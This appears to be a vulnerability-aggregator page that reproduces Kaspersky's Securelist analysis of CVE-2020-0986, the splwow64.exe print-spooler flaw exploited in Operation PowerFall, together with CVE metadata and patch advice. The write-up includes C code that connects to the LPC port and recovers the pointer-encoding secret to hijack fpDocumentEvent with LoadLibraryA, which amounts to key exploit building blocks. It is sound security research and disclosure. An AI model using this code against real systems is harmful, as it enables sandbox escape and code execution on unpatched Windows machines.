ZeroHour
Kaspersky Securelistpublished ()ingested @Securelist

Operation PowerFall: CVE-2020

criticalExploit / PoCimportance 60CVE-2020-0986

Vulnerabilities mentionedAll →

CVEVulnerabilityCVSSEPSSFlagsAffectedExposurePublished
CVE-2020-0986
Windows Kernel Out-of-Bounds Write Enables Local Privilege Escalation (CVE-2020-0986)

CVE-2020-0986 is an elevation of privilege vulnerability in the Microsoft Windows kernel caused by the kernel failing to properly handle objects in memory (classified as an out-of-bounds write, CWE-787). A local attacker who can already execute low-privileged code on a vulnerable machine can trigger the memory-corruption condition to elevate to SYSTEM/kernel-level privileges, gaining full read, write, and execution control over the system with no user interaction required. Affected deployments per the CPE data include Windows 8.1, Windows RT 8.1, Windows 10 versions 1507 through 2004, and Windows Server builds 1803 and 1903. CISA added the CVE to its Known Exploited Vulnerabilities catalog on 2021-11-03, confirming exploitation in the wild, while any association with ransomware remains unknown. EPSS rates a 15.9% probability of exploitation within 30 days (97th percentile), and Microsoft patched the flaw in its April 2020 monthly security updates alongside a batch of similar Windows kernel privilege escalation vulnerabilities.

Do: Apply Microsoft security updates for every affected release without delay (the fix shipped in the April 2020 monthly security updates, and the CISA KEV required action is to update per vendor instructions); verify installed cumulative updates rather than relying on KB numbers alone. Because this is a local privilege escalation used for post-compromise elevation, prioritize endpoints and multi-user hosts (RDS/VDI, remote workers) where untrusted users or already-executed malware run locally. There is no reliable workaround for a kernel memory-handling flaw, so patching is the primary mitigation.

7.816% KEV
  • Microsoft Windows 10 1507
  • Microsoft Windows 10 1607
  • Microsoft Windows 10 1709
  • +9 more
massorder of 10^8: plausibly hundreds of millions of Windows installations across the affected 2015-2020 builds
Full article2,334 words · extracted from securelist.com · click to collapse

02 Sep 2020

minute read

In August 2020, we published a blog post about Operation PowerFall. This targeted attack consisted of two zero-day exploits: a remote code execution exploit for Internet Explorer 11 and an elevation of privilege exploit targeting the latest builds of Windows 10. While we already described the exploit for Internet Explorer in the original blog post, we also promised to share more details about the elevation of privilege exploit in a follow-up post. Let’s take a look at vulnerability CVE-2020-0986, how it was exploited by attackers, how it was fixed and what additional mitigations were implemented to complicate exploitation of many other similar vulnerabilities.

CVE-2020-0986

CVE-2020-0986 is an arbitrary pointer dereference vulnerability in GDI Print/Print Spooler API. By using this vulnerability it is possible to manipulate the memory of the splwow64.exe process to achieve execution of arbitrary code in the process and escape the Internet Explorer 11 sandbox because splwow64.exe is running with medium integrity level. “Print driver host for applications,” as Microsoft describes splwow64.exe, is a relatively small binary that hosts 64-bit user-mode printer drivers and implements the Local Procedure Call (LPC) server that can be used by other processes to access printing functions. This allows the use of 64-bit printer drivers from 32-bit processes. Below I provide the code that can be used to spawn splwow64.exe and connect to splwow64.exe’s LPC server.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

typedefstruct_PORT_VIEW

{

UINT64 Length;

HANDLE SectionHandle;

UINT64 SectionOffset;

UINT64 ViewSize;

UCHAR*ViewBase;

UCHAR*ViewRemoteBase;

}PORT_VIEW,*PPORT_VIEW;

PORT_VIEW ClientView;

typedefstruct_PORT_MESSAGE_HEADER{

USHORT DataSize;

USHORT MessageSize;

USHORT MessageType;

USHORT VirtualRangesOffset;

CLIENT_ID ClientId;

UINT64 MessageId;

UINT64 SectionSize;

}PORT_MESSAGE_HEADER,*PPORT_MESSAGE_HEADER;

typedefstruct_PROXY_MSG{

PORT_MESSAGE_HEADER MessageHeader;

UINT64 InputBufSize;

UINT64 InputBuf;

UINT64 OutputBufSize;

UINT64 OutputBuf;

UCHAR Padding[0x1F8];

}PROXY_MSG,*PPORT_MESSAGE;

PROXY_MSG LpcReply;

PROXY_MSG LpcRequest;

intGetPortName(PUNICODE_STRING DestinationString)

{

void*tokenHandle;

DWORD sessionId;

ULONG length;

inttokenInformation[16];

WCHAR dst[256];

memset(tokenInformation,0,sizeof(tokenInformation));

ProcessIdToSessionId(GetCurrentProcessId(),&sessionId);

memset(dst,0,sizeof(dst));

if(NtOpenProcessToken(GetCurrentProcess(),READ_CONTROL|TOKEN_QUERY,&tokenHandle)

||ZwQueryInformationToken(tokenHandle,TokenStatistics,tokenInformation,sizeof(tokenInformation),&length))

{

return0;

}

wsprintfW(

dst,

L"\\RPC Control\\UmpdProxy_%x_%x_%x_%x",

sessionId,

tokenInformation[2],

tokenInformation[3],

0x2000);

RtlInitUnicodeString(DestinationString,dst);

return1;

}

HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName)

{

HANDLE sectionHandle=0;

HANDLE portHandle=0;

union _LARGE_INTEGER maximumSize;

maximumSize.QuadPart=0x20000;

NtCreateSection(&sectionHandle,SECTION_MAP_WRITE|SECTION_MAP_READ,0,&maximumSize,PAGE_READWRITE,SEC_COMMIT,NULL);

if(sectionHandle)

{

ClientView.SectionHandle=sectionHandle;

ClientView.Length=0x30;

ClientView.ViewSize=0x9000;

ZwSecureConnectPort(&portHandle,PortName,NULL,&ClientView,NULL,NULL,NULL,NULL,NULL);

}

returnportHandle;

}

intmain()

{

printf("Spawn splwow64.exe\n");

CHARPath[0x100];

GetCurrentDirectoryA(sizeof(Path),Path);

PathAppendA(Path,"CreateDC.exe");// x86 application with call to CreateDC

WinExec(Path,0);

Sleep(1000);

CreateDCW(L"Microsoft XPS Document Writer",L"Microsoft XPS Document Writer",NULL,NULL);

printf("Get port name\n");

UNICODE_STRING portName;

if(!GetPortName(&portName))

{

printf("Failed to get port name\n");

return0;

}

printf("Create port\n");

HANDLE portHandle=CreatePortSharedBuffer(&portName);

if(!(portHandle&&ClientView.ViewBase&&ClientView.ViewRemoteBase))

{

printf("Failed to create port\n");

return0;

}

}

To send data to the LPC server it’s enough to prepare the printer command in the shared memory region and send an LPC message with NtRequestWaitReplyPort().

1

2

3

4

5

6

7

8

9

10

11

12

memset(&LpcRequest,0,sizeof(LpcRequest));

LpcRequest.MessageHeader.DataSize=0x20;

LpcRequest.MessageHeader.MessageSize=0x48;

LpcRequest.InputBufSize=0x88;

LpcRequest.InputBuf=(UINT64)ClientView.ViewRemoteBase;// Points to printer command

LpcRequest.OutputBufSize=0x10;

LpcRequest.OutputBuf=(UINT64)ClientView.ViewRemoteBase+LpcRequest.InputBufSize;

// TODO: Prepare printer command

NtRequestWaitReplyPort(portHandle,&LpcRequest,&LpcReply);

When the LPC message is received, it is processed by the function TLPCMgr::ProcessRequest(PROXY_MSG *). This function takes LpcRequest as a parameter and verifies it. After that it allocates a buffer for the printer command and copies it there from shared memory. The printer command function INDEX, which is used to identify different driver functions, is stored as a double word at offset 4 in the printer command structure. Almost a complete list of different function INDEX values can be found in the header file winddi.h. This header file includes different INDEX values from INDEX_DrvEnablePDEV (0) up to INDEX_LAST (103), but the full list of INDEX values does not end there. Analysis of gdi32full.dll reveals that that are a number of special INDEX values and some of them are provided in the table below (to find them in binary, look for calls to PROXYPORT::SendRequest).

1

2

3

4

5

6

7

8

9

10

106INDEX_LoadDriver

107-INDEX_UnloadDriver

109INDEX_DocumentEvent

110INDEX_StartDocPrinterW

111INDEX_StartPagePrinter

112INDEX_EndPagePrinter

113INDEX_EndDocPrinter

114INDEX_AbortPrinter

115INDEX_ResetPrinterW

116INDEX_QueryColorProfile

Function TLPCMgr::ProcessRequest(PROXY_MSG *) checks the function INDEX value and if it passes the checks, the printer command will be processed by function GdiPrinterThunk in gdi32full.dll.

1

2

3

4

5

if(IsKernelMsg||INDEX>=106&&(INDEX<=107||INDEX-109<=7))

{

// …

GdiPrinterThunk(LpcRequestInputBuf,LpcRequestOutputBuf,LpcRequestOutputBufSize);

}

GdiPrinterThunk itself is a very large function that processes more than 60 different function INDEX values, and the handler for one of them – namely INDEX_DocumentEvent – contains vulnerability CVE-2020-0986. The handler for INDEX_DocumentEvent will use information provided in the printer command (fully controllable from the LPC client) to check that the command is intended for a printer with a valid handle. After the check it will use the function DecodePointer to decode the pointer of the function stored at the fpDocumentEvent global variable (located in .data segment), then use the decoded pointer to execute the function, and finally perform a call to memcpy() where source, destination and size arguments are obtained from the printer command and are fully controllable by the attacker.

Exploitation

In Windows OS the base addresses of system DLL libraries are randomized with each boot, aiding exploitation of this vulnerability. The exploit loads the libraries gdi32full.dll and winspool.drv, and then obtains the offset of the fpDocumentEvent pointer from gdi32full.dll and the address of the DocumentEvent function from winspool.drv. After that the exploit performs a number of LPC requests with specially crafted INDEX_DocumentEvent commands to leak the value of the fpDocumentEvent pointer. The value of the raw pointer is protected using EncodePointer protection, but the function pointed to by this raw pointer is executed each time the INDEX_DocumentEvent command is sent and the arguments of this function are fully controllable. All this makes the fpDocumentEvent pointer the best candidate for an overwrite. A necessary step for exploitation is to encode our own pointer in such a manner that it will be properly decoded by the function DecodePointer. Since we have the value of the encoded pointer and the value of the decoded pointer (address of the DocumentEvent function from winspool.drv), we are able to calculate the secret constant used for pointer encoding and then use it to encode our own pointer. The necessary calculations are provided below.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

// Calculate secret for pointer encoding

while(1)

{

secret=(unsignedint)DocumentEvent^__ROL8__(*(UINT64*)leaked_fpDocumentEvent,i&0x3F);

if((secret&0x3F)==i&&__ROR8__((UINT64)DocumentEvent^secret,secret&0x3F)==*(UINT64*)leaked_fpDocumentEvent)

break;

if(++i>0x3F)

{

secret=0;

break;

}

}

// Encode LoadLibraryA pointer with calculated secret

UINT64 encodedPtr=__ROR8__(secret^(UINT64)LoadLibraryA,secret&0x3F);

At this stage, in order to achieve code execution from the splwow64.exe process, it’s sufficient to overwrite the fpDocumentEvent pointer with the encoded pointer of function LoadLibraryA and provide the name of a library to load in the next LPC request with the INDEX_DocumentEvent command.

Overview of attack

CVE-2019-0880

Analysis of CVE-2020-0986 reveals that this vulnerability is the twin brother of the previously discovered CVE-2019-0880. The write-up for CVE-2019-0880 is available here. It’s another vulnerability that was exploited as an in-the-wild zero-day. CVE-2019-0880 is just another fully controllable call to memcpy() in the same GdiPrinterThunk function, just a few lines of code away in a handler of function INDEX 118. It seems hard to believe that the developers didn’t notice the existence of a variant for this vulnerability, so why was CVE-2020-0986 not patched back then and why did it take so long to fix it? It may not be obvious on first glance, but GdiPrinterThunk is totally broken. Even fixing a couple of calls to memcpy doesn’t really help.

Arbitrary pointer dereference host for applications

The problem lies in the fact that almost every function INDEX in GdiPrinterThunk is susceptible to a potential arbitrary pointer dereference vulnerability. Let’s take a look again at the format of the LPC request message.

1

2

3

4

5

6

7

8

typedefstruct_PROXY_MSG{

PORT_MESSAGE_HEADER MessageHeader;

UINT64 InputBufSize;

UINT64 InputBuf;

UINT64 OutputBufSize;

UINT64 OutputBuf;

UCHAR Padding[0x1F8];

}PROXY_MSG,*PPORT_MESSAGE;

InputBuf and OutputBuf are both pointers that should point to a shared memory region. InputBuf points to a location where the printer command is prepared, and when this command is processed by GdiPrinterThunk the result might be written back to the LPC client using the pointer that was provided as OutputBuf. Many handlers for different INDEX values provide data to the LPC client, but the problem is that the pointers InputBuf and OutputBuf are fully controllable from the LPC client and manipulation of the OutputBuf pointer can lead to an overwrite of splwow64.exe’s process memory.

How it was mitigated

Microsoft fixed CVE-2020-0986, but also implemented a mitigation aimed to make exploitation of OutputBuf vulnerabilities as hard as possible. Before the patch the function FindPrinterHandle() blindly trusted the data provided through the printer command in an LPC request and it was easy to bypass a valid handle check. After the patch the format of the printer command was changed so it no longer contains the address of the handle table, but instead contains a valid driver ID (quad word at offset 0x18). Now the linked list of handle tables is stored inside the splwow64.exe process and the new function FindDriverForCookie() uses the provided driver ID to get a handle table securely. For a printer command to be processed it should contain a valid printer handle (quad word at offset 0x20). The printer handle consists of process ID and the address of the buffer allocated for the printer driver. It is possible to guess some bytes of the printer handle, but a successful real-world brute-force attack on this implementation seems to be unlikely. So, it’s safe to assume that this bug class was properly mitigated. However, there are still a couple of places in the code where it is possible to write a 0 for the address provided as OutputBuf without a handle check, but exploitation in such a scenario doesn’t appear to be feasible.

Latest Webinars
Reports

Kaspersky researchers have discovered new Mirage Kitten attacks using previously undocumented malware families: NodeRabbit in Node.js and PollCat in JavaScript.

Our experts discovered a new CoolClient backdoor variant with a kernel-mode rootkit driver that hides malicious processes, files, and network connections from security tools and threat analysts.

Kaspersky experts break down a new Armored Likho campaign that poses as a fundraising efforts and delivers a new Still Toolkit aimed at stealing Telegram data and eavesdropping on victims.

Kaspersky researchers reveal previously undocumented malware attributed to Mirage Kitten (UNC1549, Smoke Sandstorm, Nimbus Manticore): NightLedger backdoor, ArcBridge, and BridgeHead tunneling tools.

Text extracted automatically; images, tables and formatting may be missing. Original: https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/